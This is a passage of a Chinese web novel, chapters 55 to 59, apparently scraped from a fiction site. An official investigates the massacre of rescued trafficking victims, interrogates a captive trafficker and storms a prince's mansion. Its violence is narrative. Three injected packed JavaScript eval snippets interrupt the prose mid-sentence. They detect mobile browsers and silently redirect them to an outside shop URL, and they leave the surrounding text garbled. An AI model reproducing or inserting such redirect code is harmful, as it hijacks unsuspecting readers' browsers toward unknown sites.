而且据她所说,这个宅院里可都是被拐走的女子孩童,事情怎么会这么巧?他们前脚要来这里看那些被拐之人,还没到这就烧起来了,里面的人呢?是否还安全?为何会突然起火?宅院里那么多人,总会有人发现起火了吧?为什么没见跑出来的人? 乙十一护送孩子们去安全的地方还没回来,九阙身边只有甲二十三保护,这会儿不管九阙说什么,甲二十三都不肯离开。 按理来说这里火势那么大,周围的人家也不可能不知道,可此刻周围这一片儿都安安静静,好像家里都没人似的。他们就不怕这里的火势蔓延到家里吗? 不对! 九阙脸色猛然一变,冲向离得最近的一处宅院。 “吱呀!” 门是开着的,九阙用力一推,木门就猛然洞开,里面静悄悄的,连呼吸声都没有。身边的甲二十三却忽然皱了皱眉头,小心翼翼的看向应大人。 “血腥气……” 应九阙脸色难看至极,直奔主屋。推开门之后,浓烈的血腥气几乎要将她冲个跟头,地上躺着的一对老夫妇面色狰狞,地上淌了一地的血,两个人距离不远,冲着双方伸出手,只是直到最后一刻都没能握在一起。 蹲下身子探了探他们的鼻息,毫无气息吹拂,九阙猛然闭上双眼,眼睫如同颤抖的蝴蝶,上下蹁跹,抖得几乎要包不住眼眶里的愤怒。 “去看看这屋子里还有活人没有。” 甲二十三不敢在这个时候违逆应大人的命令,因为对方的脸色真的很不好看。只是搜寻了一圈之后,甲二十三脸色苍白的走了出来。 这间屋子里并没有幸存者,偏屋里还倒着一对年轻夫妇,毫无例外,都死了。 应九阙看一眼那对老夫妇无法握在一起的手,眨了眨眼,控制住破坏现场的冲动。转身走出门去,只是在跨过门框的时候,不小心绊了一下,身子晃了几晃,最终艰难的站稳了。她站在院子里抬头看向天空,天空昏暗的时候,好像连太阳都看不清了。 所以这个天下到底有太阳吗?如果真有太阳的话,为何在阳光照拂不到的角落里,会有这么多鲜活无辜的生命逝去呢? 将周围八户人家转了个遍,无一活口。那些人似乎是在毫无防备的情况下被人闯入家中,干脆利落的灭了口。死者男女老少皆有,可见杀人的人没有特定目标,只想让这片区域里的所有人都闭嘴。 最终走向那座宅院的九阙狠狠的搓了一把脸,毫不意外的看到了刚才那位还意气风发的前辈颓靡的身影。 崔逐风愣愣的站在依旧燃烧着的宅院门前,似乎无法理解自己只是出了一趟门,为什么回来之后一切都变了样。 那些人,她们在炼狱之中等了那么长时间才被解救。可是连半日时间都没有,连半天的好日子都没有过,就被人灭了口! 大火燃烧中,人类皮肉被烧灼的焦臭味儿冲天而起,可是被灼烧的人却安安静静的躺在地上,没有一丝声息。 那些原本或安静,或癫狂,或忐忑,或心怀希望的孩子们,已经躺在地上,一句话一个字都说不出来了。 “怎么会这样?明明走之前我还告诉她们,会找官府的人来安置。她们的好日子眼看着就来了,为什么现在什么都得不到?什么都没了?” 九阙只觉得自己嗓子眼儿好像被什么东西堵住似的,噎的她说不出话来。 她其实也很想知道为什么,为什么要杀掉一群无辜的人?人类的生命在同类眼中就这么不值钱吗?这么可以随意践踏吗?难道身居高位手握权力,就有资格践踏一切比其弱的人吗? 这个世界的法则不应该是这样,人人生而平等,九阙其实知道在这个封建王朝不可能实现,可还是第一次见到这世界的残酷。这些被杀的人何其无辜?而背后之人归根到底其实只为了一个理由,杀人灭口。 “前辈……” 九阙上前一步,站在崔逐风面前,盯着她恍惚的眼,声音越来越大,越来越响亮。那种痛彻心扉的感觉化成一股力量,催烧着她的五脏六腑,灼痛她的喉咙,烧灼她的内心。 她很痛! 可这种痛,愈发能催生她的力量。 崔逐风恍惚之中抬头,就看到面前这个女娃娃双眼几乎烧起来,强烈的愤怒让她脸色变红,唯有那双眼睛,黑的透亮。 “前辈!看着我!您武艺高强,能在保护自己的前提下把里面的尸体带出来几具吗?尽量是完好的,身上留有完整伤痕的。” “……什么?” 崔逐风一时间没能反应过来。九阙也不怪她,面前这位前辈虽然武艺高强,可是从她方才的言行举止中可以看出,崔前辈定然是那种两耳不闻窗外事,一心只攻读武学的武痴。 “现在这情况已经很明显了,对方就是要杀人灭口,而杀人灭口之前,他们还有一个相当合适的替罪羊,那就是您啊前辈!毕竟只要他们死不承认,那么在外人看来,最后一个接触这些受害者的就是前辈你。” “我动作很小心,没有被外人发现。” “是吗?那这宅子是怎么被别人发现的?” 崔逐风一时间什么也说不出来了。 第五十五章 策反 崔逐风一时哑口无言,顿了顿,纵身扑入火海,几个眨眼的时间过后,抱着两具相对完好的尸体飞了出来。 将那两具尸体放在地上,崔逐风的脸色相当难看,其实她也不知道该如何应对,她虽然平日里倒霉了些,总是遇见各种倒霉事儿,可直面这等汹涌恶意的时候还是少,现在只能看这位应大人如何应对了。 此刻,回去报信的乙十一终于回来,还带了大批人手,他刚刚带人过来时看到这边升起的浓烟吓得半死,还以为应大人刚离开就出事儿了。在看到完好无损的应大人时忍不住松口气,可是当目光瞥到地上摆着的那两具尸体,忍不住皱了皱眉。这尸体只有一处致命伤,要么在咽喉,要么在心脏,典型的杀人灭口手法。应大人这是又遇到什么事了? 面对关心,应九阙顿了顿,她其实并不擅长查验尸体,这种事还得交给专业的人做,就比如说淳于霜。 “十一,你去做件事。去京兆府,报案。” 乙十一扫视了圈儿这里的环境,觉得相对安全,更何况人手也已经来齐,于是干脆利落的施展轻功到京兆府报案。当然,同时也把这件事传给了顶头上司。 因此,在官府来的人里应九阙惊讶的发现了淳于霜的身影。淳于霜不是刑部司务吗?虽然她也很想让对方来帮忙,可这两个机构互不掺杂,这桩刑事案件得先报到京兆府,若是日后有需要刑部的地方,双方才会联合办案。所以淳于霜怎么来了? 两人已经不是第一次打交道,对上应九阙疑惑的眼神,淳于霜只是点了点头,她总不好于大庭广众之下说是陛下让她来的吧?更何况陛下也让她保密。 专业人士出手就是不一样,现场这两具尸体很快就被妥善安置,淳于霜当场简单查验了一番,然后走向应九阙。 “这两人都是一击致命,一处伤口在咽喉,剑尖穿透整个脖颈,另外一个伤处在心脏……我只能说,至少她们死的时候没有受太大罪。” 应九阙安静的点了点头,难道因为没有受太大罪就可以死了吗?当然,这些跟淳于霜没有关系,所以九阙并没有说什么,她只是引着对方来到周围显得有些死寂的人家。 当看到那些死状凄惨的百姓时,淳于霜的脸色一下就变了。再联系到起火的宅院,以及里面不断传来的皮肉焦臭味,很难不让人联想到一个事实。 “杀人灭口?” “对。” 九阙将崔逐风的事情说出,淳于霜的脸色难看,虽然有些为难,但她还是表示。 “我知道这件事可能不是那位前辈高人做的,可她作为最后接触这些女子的人,势必会被提审。说不定……” 说不定还会被当成罪魁祸首。 九阙对此也很清楚,崔前辈现在神情恍惚,但是以对方的武艺,只要她不想,应该没人能困得住。 “我要进宫面见陛下。” 现在这件事已经不是她一个小小的六品巡城御史能管得了的。能在须臾之间追踪至此并且杀人灭口,一点儿消息都没透露出去,杀人灭口的做法如此干脆利落,她不相信无忧洞的人能做到。 再者,现在全程搜捕无忧洞,还抓到不少小头目,那些人藏起来还来不及,怎么会在这种时候突然出手?所以这件事只可能是真正的幕后黑手,为了不牵连到自己,断尾求生。 在进宫面圣之前,她要先做一件事。 “淳于大人,我想去见一见那位易先生。” 淳于霜点头。 其实以应九阙的品职和官位没有资格去刑部提审犯人,可是在来之前陛下特意交代,应九阙想做什么都要全力支持,所以这也只能是件小事了。对着崔逐风解释了几句,崔逐风虽然生性自由,可在大多数情况下也会遵守相应的规则,至少此刻她愿意跟着九阙去刑部走一趟。 到了刑部之后,意料之外受到了热情的接待,刑部左侍郎亲自作陪,甚至都没问跟在应九阙身边的崔逐风,直接带着几人来到了地牢深处。 那个易先生是目前为止抓到最有价值的犯人,因此轻易不能提审,要不然淳于霜都怀疑自己这位上官会不会把易先生洗刷干净,带到干净整洁的屋子里,再让应九阙见面了。 虽说陛下来之前特意交代过,但自己这位上官谄媚的嘴脸实在叫人不忍直视。话说她在刑部这么多年,这还是第一次见这位以严肃出名的上官这般热情的模样,也不知道陛下究竟对他说了什么…… “县主,那位‘易先生’就在前方。不过您请小心一些,虽说已经控制住,可他颇为桀骜,连续几日了,一直都拒绝开口。小心他奋起伤人。” 听到这话,九阙没有什么反应,甲二十三悄悄上前一步,紧紧挨着应九阙,生怕应大人在自己眼皮子底下受伤。 此刻,昏暗阴冷潮湿的地牢里,被牢牢锁在刑架上的男人似乎听到了动静,微微抬眼看了一下。他似乎是受了极刑,身上血迹斑斑,连抬眼的动作都十分艰难。 但是,在看清楚站在门口的应九阙时,原本古井无波的人突然挣扎起来! “是你……是你!” 易先生死都不会忘记,在他可以逃出生天的时候,就是这个看起来柔弱的女人一只手断送了他的逃生路,让他只能像条狗一样被拴在这里苟延残喘!他做梦都想见到应九阙,然后亲手杀了她! 没想到对方竟然会在这时候出现,易先生冷笑几声。 “我知道你来这里的目的,你想知道的我都可以告诉你,但我有个要求,你得亲自过来我才会说。要不然,你什么都得不到。” “不行!” 甲二十三立即制止。那个男人明显心怀不轨,不能轻易相信。大人不会为了查案子不顾及自己安全吧? 应九阙的反应则是用淡漠的语气说了两句话。 “弄垮你们聚集洞穴的人,是我。” “你已经被放弃,下一个被灭口的,就是你。” 第五十六章 我敢 易先生的表情一瞬间变得像是要吃人,他死死的盯着九阙,半晌,嘴角露出一个浅淡的弧度。 “你想太多,我身后根本没人,为什么会被灭口?要担心也是你们刑部的人用刑过重弄死我吧?” 九阙没工夫跟他废话,直接将今日发生的那起惨案倒了出来。易先生的脸色越来越难看,一般来说,就算现在风声紧,无忧洞的背后东家也不会对那些货物动手。毕竟最值钱的就是她们了。就算被救走又如何?只要还活着,总能找到,甚至还能找到更好的。 既然连那些肥羊都给杀了,看来东家是真急了。 蝼蚁尚且偷生,若是能活,谁会想死?易先生琢磨了会儿,虽然有些意动,可依旧拿捏着姿态,不肯多说什么。问的急了,就是一句话。 “东家对我有救命之恩,我虽然只是个阴沟里见不得人的,但也知道知恩图报,怎么可能背叛?且,你们既然要求我办事,总得给出些诚意吧?首先这牢房我就不是很喜欢,又脏又破又潮湿,我这衣裳,都沾了那么多血水,腥臭难闻,给我换件衣裳不过分吧……” 那位刑部左侍郎那叫一个愤怒啊。之前审问的时候,易先生就是这么一副死样子,现在还是这样,牢里的刑具都用了个遍,偏偏这贼子疼的哭天抢地,却还是一个重要的消息都不肯说。 要想从他身上入手,还真有些困难。 就是不知这位莫名其妙得了陛下青眼的应县主有什么法子了。 九阙刚开始什么也没说,就听着易先生胡说八道,只是眼神在他裸露出来伤痕累累的皮肤上看了许久。那上面的一些陈年旧伤显然不是在牢房里这区区几日就能造成的…… “姓易的,说实话,我现在依旧很想杀了你。那天晚上的霹雳火怎么没炸死你?” “县主!” 刑部左侍郎吓了一跳,那叫一个无语,还以为这位主能有什么厉害的法子,原来是要激将法啊,这法子在姓易的这里可行不通啊。 果然,易先生的眼神变得冰冷。 “我总是在想一件事,明明自己曾经受过苦,却还想着把其他无辜之人拉下来的人到底在想什么。看见你,我大概明白了,你肯定是认为,凭什么自己受苦受罪的时候没人拯救,活的那么凄惨,别人却可以大大方方的活在阳光下,所以你痛恨厌恶,想拉他们下去,想让他们也经受自己受过的那些苦?” “闭嘴……” “我一直都认为,这样的人心里多少有些问题。你确实可怜,可是别人就不可怜了吗?活着确实很重要,被人胁迫着做坏事虽然法律上不允许,但情有可原。可主动做坏事却不同。你在买卖那些无辜女子幼童的时候,可曾想过当初的自己?你难道就没有想过若是当初有人能伸出援助之手,自己或许会换种活法?” “闭嘴……我让你闭嘴!” 铁链被晃动的声音哗啦啦的,却丝毫遮盖不住九阙的嗓音。 “他们跟你何其类似?甚至,本来已经有人出手帮忙了,她们只差半日就能活下来,就能和自己的家人团聚,当初的日子确实很苦,但时间总会冲淡一切。可她们还没有从得救的喜悦中回过神,灭口的杀手就到了。你能想象那种希望明明就在眼前,却转瞬即逝的痛苦吗?你明明有机会……” “闭嘴闭嘴闭嘴!” 易先生终于撑不住了,他拼命疯狂大喊,嗓子都已经撕裂了,却还是不停嘶吼,等他终于安静下来,发现应九阙已经停了下来,只是用一种叫人很不舒服的眼神盯着自己。 冷笑一声。 “你不会觉得自己说几句话,我就会乖乖听话吧?你就算说再对又如何?那是以前的事,我已经不再是任人欺凌的可怜虫,在无忧洞,在东家那里,我有很多特权,我不用再住在阴森寒冷跟老鼠洞一样的沟渠里,也不用日日担忧早上起来能不能活着,我活的很好,比以前二十三年都好!我不会更好了!” 铁链碰撞在一起哗啦啦的声音不绝于耳,易先生身上伤痕撕裂,大量的血迹洇出,顺着铁链滴在地上,几乎聚成了一个个小水洼。 可当事人却好像注意不到,他执着的嘶吼,好像在和自己的生死仇敌拼命。 而被仇视着的敌人,也就是应九阙,只是安静的看了他一眼。 “是吗?那你为什么不敢反抗?我猜,当初拐走你的人后来一定死得很惨?毕竟你那么聪明。” “没错,他们都被我剁碎了喂狗!尸骨无存哈哈哈——” 在身边人悄悄倒抽冷气的背景下,九阙声音变的温柔。 “你那么聪明,难道不知整个无忧洞的罪恶都是因为你身后那位最大的东家?这么多年,你为何没有报仇?难道安稳的,高高在上的日子过得久了,当真可以忘记曾经的伤痛?” “你懂什么?!” 易先生反应极其剧烈。他挥舞着手臂,但因为四肢上的铁链,只能小小的动作,看起来有些滑稽,可在场之人没一个能笑出来的。相反,他们的表情都很浓重。所以,这易先生,竟然也是当初被拐走的那些人之一吗? 从受害者变成加害者,这又何尝不是另外一种讽刺? “你自己出身好就以为别人都过得很好吗?别开玩笑了!几个小喽啰我当然可以解决,可幕后之人根本就不是我能抵挡得了的。我只是一个小小的平民,那可是高高在上无法直视的人物,你有反抗他们的勇气吗?我最讨厌的,就是你这种只知道耍嘴皮的人!” “说的再好听,不还只是说说而已?!你们这些当官的,又有哪个是当真想去救我们?我们那么多人,一个个被折磨致死,尸骨都不知道被扔到哪个地方肥沃花泥去了,我怕的要死的时候也祈求过官府救我,可最后你们来了吗?一个都没来!不过是些汲汲营营的狗官,想拿功劳,也要看看自己有没有这个命去拿!就算我告诉你幕后之人是谁,你敢上报吗?官字两张口,还不是你们自己说了……” “我敢。” “什,什么?” 易先生惊愕抬头,就看见了面色平静的应九阙。 第五十七章 要捅破天了 那个可笑的女官就这么看着自己,平静开口。 “我敢。只要你说出那个人是谁。” 易先生很想唾弃,很想哈哈大笑,可是那个女人的视线实在是太平静了,就像只听说却从未亲眼见过的大海,幽深寂静,唯一可以肯定的是,她不是在说谎。这让他把满口的脏话咽了回去。 就连周围的刑部左侍郎等人都忍不住多看了她几眼。刑部左侍郎端着那张冷脸,心里却是暗暗赞同。没想到这位应县主还真有些胡说八道的本事,眼睛不眨一下就能说出这样冠冕堂皇的话,当真是深谙为官之道啊。他还是得多学习学习,和光同尘才好。 然而下一刻,他的眼睛几不可控制的睁大。 因为应九阙做了一个动作。 她缓缓伸手,把自己头上那顶官帽取了下来。这帽子说起来也是够顽强的,今晚又是逛街又是逃命又是狂奔的,竟然也没掉。 一手抱着那官帽,九阙看起来冷静的很,跟刑部那几个官员眼珠子都要掉出来的模样完全不同。 “我当官本来也不是为了升官发财,只是因为运气好,救了陛下一命,陛下赏我的。之前破了一桩案子,或许陛下觉得我干的不错,还没有收回去。不过我想,在被收回之前,总得做件事儿来证明一下自己曾经也是做过官的吧?” “我知道你不信我,没关系,你只要信这顶官帽,信陛下就成。当初北蛮南夷西厥围堵平安城,是陛下,单枪匹马冲阵杀敌,斩杀敌方大将,以示共生死。当初,哪怕弹尽粮绝,城中疫病横行,陛下也未弃城而逃。这世上,你总得信一个人吧?那你就信他,信大景,信我手上的官帽!” “再者说。” 九阙突然一笑,却丝毫不显得柔软,反而带着些刀锋意味。 “我就不信午夜梦回之时,你没有想过杀了那幕后之人!” 易先生的心脏猛烈跳动,他好像回到了当初侥幸逃出一段却即将被搜捕之人找到的时候,心跳的好像要从胸腔中蹦出来。 他想啊,他怎么没想过?那人的身份地位之高,足以让他绝望,但是他难道就不恨了吗?可他也只敢在梦中报仇雪恨。如今有这么一个人,有这么一个机会,只需要说几句话就行,他敢不敢试试? 强压下激动的心情,易先生觉得自己口中干裂艰涩,良久,才从嗓子眼儿里挤出来一句话。 “事成之后,你会放了我吗?” 刑部左侍郎强压着激动的心情,恨不得压着应九阙同意。不管最后成不成,现在先稳着对方啊,只要他把名字证据说出来,管他之后是死是活?! 然而应九阙却缓缓摇头。 在左侍郎快要晕过去的眼神里,九阙用平静的语气开口。 “我不擅长律法,但你组织拐卖女子孩童超过百人,死罪难逃。你若是肯配合说出幕后主使,我只能做到死后为你收敛尸骨,找个地方葬了。” “嘶!” 刑部左侍郎险些没抽过去,拼命给应九阙使眼色,眼看着就能说动对方,这可不能半途而废啊。多捧捧对方可怎么了?反正又不可能真的做到。 “咳咳,这也不是绝对的,若是……” “连骗我一下都不愿意啊。” 易先生看都没看左侍郎一眼,只是执着的盯着应九阙平静的脸,连个舒服些的死法都不肯答应,果然是没说谎啊。不过若这个女人当真说可以饶他一命,他反而要怀疑了。 “算了,你过来,我只告诉你一个人。” “不行!” 一直没吭声的淳于霜和甲二十三乙十一同时拒绝。这人心理不正常,若是任由应大人接近,说不定会被伤到。 然而应九阙却摆了摆手。 这家伙现在被捆的跟个粽子似的,连脑袋都转不动,怎么可能伤害自己?更何况,她也不是朵娇花,对方这种情况下,伤害不了自己。 “没事。” 利落的进去,九阙看着近在咫尺的人,表示对方可以说了。 易先生摇了摇头。 “再近些,我只能说给你一个人听。” 九阙只能更近了一些,侧耳过去。 易先生看着就在自己嘴边的耳朵,磨了磨牙,很想就这么一口咬上去,他受了这么多苦才得到那么致命的消息,却要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501210|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平白无故告诉一个陌生人,还要把自己的命也搭上,总觉得很不值啊。 可是不知怎的,看着这人没了官帽的头顶,想起那天晚上冲天而起的亮光,他还是压下了这个想法。 小声说了几句话,成功看到应九阙震惊到失语的表情,易先生心满意足的笑了。他的声音猛然高昂,甚至有些尖利,那双眼睛死死盯着应九阙,却仿佛要看到她心里去。 “你要的我已经说了,你可敢去管?” 应九阙努力平复呼吸,她刚刚听到的消息太过炸裂,以至于一时间反应不过来。然而几个呼吸过去,应九阙抚了抚胸口,只觉得有股气在自己胸腔之中来回冲撞,仿佛要喷薄而出。 她重重的点了点头。 “有何不敢?反正我这官也是白捡的,总要在不能干之前赚个够本!” 易先生微微睁大了眼睛,然后冷嗤一声。 “疯子。那我就等着看,可别我还没死,你就已经死了。” 九阙点点头,转身大步离开,那左侍郎小跑着都跟不上应九阙的影子,那叫一个无奈啊。不是,您就不能也分享一下罪魁祸首吗?身为刑部之人,对这等犯下滔天大案的人也很好奇好吗? 可应九阙没有一点儿分享精神,她甚至让淳于霜都回去了。 “姐妹,这趟浑水你还是别淌了,咱总不能折在同一件事上。等我回来!” 应九阙纵马离开,淳于霜一向不动声色的脸上满是焦急,她还想交代几句话,怎么就这么着急?虽然听不到易先生说了什么,可看他那样子,幕后黑手绝对是惹不起的人物,说不定就是哪个王公贵族,怎么能这么冒失? 到时候惹火上身可怎么来得及? 这时候,天已经转黑,即将宵禁,可应九阙却像是什么也察觉不到,直勾勾的朝着前方奔去。 甲二十三还在苦苦思考,却已经听到了身边同伴倒抽一口凉气的声音。 “那是兰芝街的方向……” 甲二十三猛然瞪大双眼,呼吸几乎都要停滞,不是,兰芝街!那不是几位皇子王爷的府邸方向吗? “要捅破天了……” 第五十八章 你就是幕后主使? 今夜风凉,可九阙却觉得自己浑身上下的血液都在沸腾。为什么会这般气愤呢?那股胸腔中的气这会儿似乎在全身上下游走,让她有种飘忽之感。 其实九阙知道这个世道不公,就算是她之前生活的那个时代,偶尔也会发生这样不公平的事情,可是,只有当亲眼见证的时候,九阙才明白,这样的事多么让人愤怒! 难道人生而为人,就因为身份地位不同,地位高的人就可以肆意欺压普通人吗?身份地位高,难道不是要承担更多的责任吗? 这个天下,说天下人的天下,而不是那寥寥几个王公贵族的天下!就算是蝼蚁,也有求生灭敌之志,更何况是人?大家同样都是人,凭什么你就可以肆无忌惮的杀伤普通人就为了谋利。说句部分人可能会觉得可笑的话,这世上,当有公道! 一路纵马来到著名的兰芝街。景泰帝对自己的子女很是不错,专门辟出来一条街给孩子们开府,这兰芝街的位置距离皇宫不远,地理位置优越,环境也好。还没有走近,就远远看到了这边连绵不绝的亮光。 而看到这些亮光,九阙就更愤怒,只要想想这些亮光之中的一部分是用那些无辜之人换来的,她就想把它们一一砸碎!在她简单的思维中,人可以通过努力或者长辈余荫让自己变得更好,可这一切不能基于旁人的血肉之上! 九阙来势汹汹,身后还跟着一群同样来意不减的侍卫,那些守门的侍卫们都有些紧张,只是见她穿着官服,才没有立即绊马制止,但也已经渐渐围拢过来。 见此,九阙都要庆幸自己今日因为出门匆忙加之她对这身官服也不怎么在意所以没有换衣裳了。在那些神经紧张的侍卫要控制不住上来制止的时候,九阙终于来到了自己的目的地——三皇子府。 “吁——” 陛下御赐的骏马长嘶一声,停了下来。 其他侍卫松了口气,可驻守三皇子府的侍卫却青紫了脸,当即上前阻拦。虽说这女官穿了一身官服,可也不过是区区六品官,在三皇子面前都不够看,且,宵禁时间将到,这女官怎可在外游走? “这位大人,您……” “劳驾,我是六品巡城御史应九阙,有急事想入三皇子府,请放行。” 那侍卫的脸都青了。你说想进就进啊,这可是三皇子殿下的府邸!三皇子你懂不懂?那可是有可能做下一任陛下的人!你一个六品不入流小官儿,哪来的勇气说这样的话? 但是基于面子上的敬意,这侍卫还是没有翻脸,只是尽可能的心平气和,不过这时候也已经有人进去禀报。九阙看见了,她没有制止,只是安静的等待。虽然这样说可能有些自恋,可她这几日经常出入皇宫,虽然没有与几位皇子真正见面过,但这些消息灵通的皇子肯定知道她,并且估计认为她是陛下眼中的红人,三皇子势必会见自己! 果然,片刻之后,一个管事模样的人就急匆匆的出来,并且笑眯眯的请自己进去。周围暗中观望的人立即分出一部分禀告自己的主子,一时间,整条街的人都在关注这边。里面‘金贵’的主子们就算没有出来,对这边也了如指掌。 九阙收回逡巡的视线,从善如流的应下,并且带着自己身后的甲二十三等人一起进去。那管事的有些纠结,可想起刚刚三皇子殿下让自己一定要以礼相待的命令,还是忍住了没有制止。 只是,叫这管事目瞪口呆的事情发生了,因为走到半路,这位女官大人竟然不去见殿下,而是要求去找府中大管事! 短暂的惊讶之余,这小管事立即拒绝。 “这不合乎礼法!” 这位应县主不是礼部侍郎的女儿吗?怎么一点也不知礼?然而下一刻他就无法细想了,因为应九阙几步靠近他,一个冰冷的东西抵着自己的腰椎。在小管事惊恐的目光里,应九阙微微一笑,竟然显得有些血腥。 “带我去。再废话一句,我先宰了你!” 惊恐之下,小管事也顾不得一个女人为什么能说出这样粗鄙的话,下意识朝着大管事住的院子那边走去,只是一路上止不住的求饶,九阙一概当做自己没听到。等真到了那座小院里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501211|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 九阙示意甲二十三将这小管事打晕,然后大步走了进去。 三皇子府的大管事叫赵杰,这会儿正在用晚膳,就听见外面一阵喧闹,正在皱眉之际,屋门被一把撞开,冷风穿堂而过,叫他冷不丁打了个寒颤。只是很快,这颤抖变成了愤怒。尤其是当他发现站在面前的是一个不认识的女人时,更是气不打一处来! 宰相门前七品官,更何况他的主子可是皇子,他可是殿下的大管事,最得用的那个,一个莫名其妙的女人,有什么资格大摇大摆的冲进来? “你是谁?” “你就是赵杰?” 九阙安静的注视着这人,看外貌,这位大管事也算相貌堂堂,并不像会做出那种事的人,不过也是,做坏事的人总不会堂而皇之的承认,且,若是当真长得不堪入目,这人也就做不成三皇子的大管事。 “你想做什么?这里可是三皇子府!” 许是看出应九阙来者不善,赵杰高声呵斥,只是本该进来的侍卫却没有丝毫动静。 甲二十三站在九 阙身后,忍不住动了动手指,虽说这样横冲直撞闯进一位皇子府邸是很蠢的事,可毫无疑问,他觉得浑身发热,热血沸腾!为给一群毫不相识的人讨个公道,闯进一国皇子府中!这可真是,可真是……太特么带劲了! 不得不说,甲二十三还是有些中二的,虽然他自己意识不到。而乙十一沉稳些,这会儿虽然看上去平静,可脑海中却在不断刷屏。完了完了完了,这下会不会被陛下五马分尸啊!他怎么就跟着应大人闯进来了?不仅闯进来,还对三皇子府中的人动了手!等到明天,他的人头就该挂在午门口了吧…… 即便这么想着,乙十一也没有丝毫后悔,只是尽职尽责的跟在应九阙身边,做个为虎作伥的侍卫。 这会儿,九阙冷冷的,略显怀疑的看着这位忠心耿耿的大管事。 “你就是无忧洞背后的主使——‘三公’?” 原本气势汹汹的大管事突然一滞,瞳孔瞬间放大,心脏疯狂的跳动! 第五十九章 三皇子 好半晌他才找回自己的嗓音。这位大管事脸上露出讽刺的笑容,那叫一个不屑。 “这位大人,小人不知您是从哪里得到的消息,您说的东西我从来都没听过。什么‘无忧洞’?什么‘三公’?你要找三公九卿的话,似乎不该来这里找。朝堂之上可以被称之为公卿的人不少。何必来找我一个小小的管事呢?” 瞧瞧这位大管事多么会说话,怪不得能成为三皇子最信任的大管事呢。只不过九阙在来之前就已经想到对方会有这种反应,因此她并没多说什么,只是让身后的甲二十三将准备起身的大管事和他身边的两个小妾制住,自己则在这间屋子里转悠起来。 该说不愧是堂堂皇子府的大管事吗?这屋子虽然外表看起来简陋,可这屋里的装饰那叫一个雅致,不管是这桌子上放着的双耳美人瓶还是旁边的淡雅雨过天晴缠枝瓶,无一不是其中精品,很明显不是一个管事能买得起的。可在这间屋子里却随处可见,由此可得这位大管事深受三皇子信任。 “你想做什么?这位应大人,我不得不提醒您一句,私闯皇子府,就算你是朝廷官员也要判罪。小人不过是个区区管家,不值当您拼上自己的前途。不如这位大人告诉小人到底想找什么,小人可以帮忙。” 眼看着这突然闯进来的女人在自己屋里转来转去,大管家觉得自己的威严受到了挑衅。在整个三皇子府,谁不知道自己的身份地位?就算是后院那些女主子们,也要对他敬上三分,而对面这个女人不过是得天之幸,做了个小小的六品官,就算身上有爵位,也是个低等级的县主,有什么资格在自己屋里翻来翻去? 九阙似笑非笑的看了一眼这位大管家。如果真说出来自己想要什么,只怕这位大管家第一件要做的不是帮自己找东西,而是要杀人灭口。 虽说这间屋子里称得上雅致富贵的玩意儿不少,可是,这屋子就这么大,总有能逛完的时候。九阙最后在一幅画着傲雪凌梅的画前停下了脚步,而大管家却迷茫的看着应九阙的动作。这幅画有什么不对吗? 应九阙伸手仔细摸了摸这幅画,这是前朝一位老学究画的,称得上傲骨凌霜,可大管家对这幅画印象不深,只是挂起来充当门面。怎么就碍了这位大人的眼? 将这幅画卷起来,九阙看着大管家,好心的提醒了他一句。 “想来大管家贵人事忙,已经不记得自己在无忧洞犯下的罪行,但有些人不会忘记,至少有人替你记着。大管家也有儿有女有孙辈,如果有人把你宠爱的孩子们拐走,卖给达官贵人玩弄,不晓得你心情会是怎样?” 大管家面色一沉,却并没有生气。像这种等级的挑衅对他来说根本不算什么。再难听的话他也听了,不过是几句不痛不痒的抱怨而已。这些年,像这样的诅咒怨怪他听的不知有多少,可他现在不还是好端端的享受着自己的人生?享受着荣华富贵? 只不过这应大人还真够奇怪的,这么晚闯进他房里只为了带走一幅莫名其妙的画?不对劲,这事儿哪儿都透着一股不对劲儿。 然而这事儿到这里还没有结束,应九阙直接比了个手势,让甲二十三几个带着大管事转身就要离开,只是走出大门的那一刻,所有人都顿住了,因为此刻,大管家这座院落外灯火通明,一位身着皇子服饰气宇轩昂的男人这会儿正站在所有人身前,不怒而威的盯着应九阙等人。 应九阙顿了顿,从这人身上穿的衣服来看,应该就是这座府邸的主人了。 “下官见过三皇子殿下。” “不必多礼。” 三皇子轻轻甩了甩衣袖,对应九阙并不待见。如果说在今天晚上之前,他还因为父皇的重视而对她另眼相看,那么现在他心里涌出的就是足够的厌恶。女子本应柔顺贤惠为主,这应九阙却事事挑头,非得在众人面前表现自己,现在还深更半夜带人闯入自己府中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14501212|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不顾阻拦要将大管家带走,这是带走一个区区奴才吗?这分明是在打自己的脸! 他身为皇子,天皇贵胄,万万人之上,就连几个兄弟也不敢这般做。而应九阙不过是个小小六品官,谁给她的勇气这样做? 